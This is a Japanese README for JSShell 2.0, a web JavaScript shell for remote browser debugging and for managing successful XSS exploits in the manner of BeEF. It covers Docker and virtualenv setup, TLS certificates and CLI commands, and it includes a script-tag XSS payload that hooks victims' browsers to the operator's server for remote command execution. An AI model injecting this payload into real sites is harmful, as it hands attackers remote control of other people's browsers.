
対話型のマルチユーザーWebベースJavaScriptシェルです。当初は実験や研究の中で、特殊なリモートブラウザをデバッグするために作成されました。このツールはXSS(クロスサイトスクリプティング)ペイロードに簡単に組み込むことができ、ブラウザのリモートコード実行(BeeFフレームワークと同様)を実現します。
バージョン2.0は完全にゼロから作成され、新機能、安定性、保守性を備えています。
<script>タグによる注入可能resourcesディレクトリ内のconfig.jsonファイルを、必要な設定に更新します。
dockerデプロイ方法を使用する場合は、データベースホストをdb(内部ホスト名)に設定します。shell.jsファイルはAJAX呼び出しを行い、コマンドの登録とポーリングを行います。通常はhttp[s]://{YOUR_SERVER_IP}:{PORT}となります。JSShellはTLSをサポートするようになりました。つまり、TLS証明書を生成してWebサーバーに提供できるようになりました。Webサーバーはconfig.jsonファイルからドメイン名を推測します。証明書を作成するには、scriptsフォルダ内のcreate_cert.pyスクリプトを使用します。
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
スクリプトが正常に機能するためには、Webサーバーが停止している必要があることに注意してください。これで証明書の生成が成功しました。変更する必要がある箇所は次のとおりです。
config.jsonファイル内のURLフィールドのスキーマをhttpsに変更します。docker-compose.ymlファイル内のwebコンテナの公開ポートを443に変更します。この新しいバージョンでは、dockerとdocker-composeを使用したJSShellのインストールと実行をサポートしています。JSShellフレームワーク全体をインストールして実行するには、次のコマンドを実行するだけです。
$ ./scripts/start_docker_shell.sh
これにより以下の処理が行われます。
JSShellコマンドラインインターフェースコンテナの新しいインスタンスを生成します。従来のインストール方法を使用したい場合は、MongoDBデータベースが起動して実行されていることを確認し、resourcesディレクトリにあるconfig.jsonファイルを更新してください。
pyenvを使用した仮想環境を推奨します。
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
またはvirtualenvを使用します。
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
次に、依存関係をインストールします。
$ pip install -r requirements.txt
dockerメソッドを使用した場合は、以下の手順を実行する必要はありません。
データベースのセットアップが完了したら、Web APIサーバーを起動する必要があります。そのためには、次のコマンドを実行します。
$ python manage.py web
これにより、受信接続をリッスンし、JSShellコードを提供するWebサーバーが作成され実行されます。
次にJSShell CLIを起動するには、同じスクリプトをshellフラグ付きで実行します。
$ python manage.py shell
セットアップと必要なコンポーネントの実行後、helpコマンドを入力して使用可能なコマンドを表示します。
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit テキストエディタでファイルを編集します
help 利用可能なコマンドを一覧表示するか、特定のコマンドの詳細なヘルプを表示します
history 以前に入力したコマンドの表示、実行、編集、保存、またはクリアを行います
ipy 対話型IPythonシェルを起動します
py Pythonコマンドまたはシェルを実行します
quit このアプリケーションを終了します
Shell Based Operations
--------------------------------------------------------------------------------
back 現在選択されているクライアントの選択を解除します
clients システムに登録されているクライアントを一覧表示および制御します
commands 選択したクライアントで実行されたコマンドを表示します
dump コマンドをディスクにダンプします
execute 選択したクライアントでコマンドを実行します
select クライアントを現在のクライアントとして選択します
>>
JSShellは2つの操作方法をサポートしています。
他のXSS制御フレームワーク(BeeFなど)と同様に、JSShellは成功したXSSエクスプロイトを管理できます。例えば、scriptタグを注入できる場合、ペイロードに次のリソースを注入すると、新しいクライアントがコンソールに表示されます。
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
特殊なブラウザをデバッグしたい場合は、http[s]://{YOUR_SERVER_IP}:{PORT}/にアクセスするだけで、新しいクライアントがJSShell CLIクライアントにポップアップ表示されます。これでJSShellコンソールを介してデバッグ可能になります。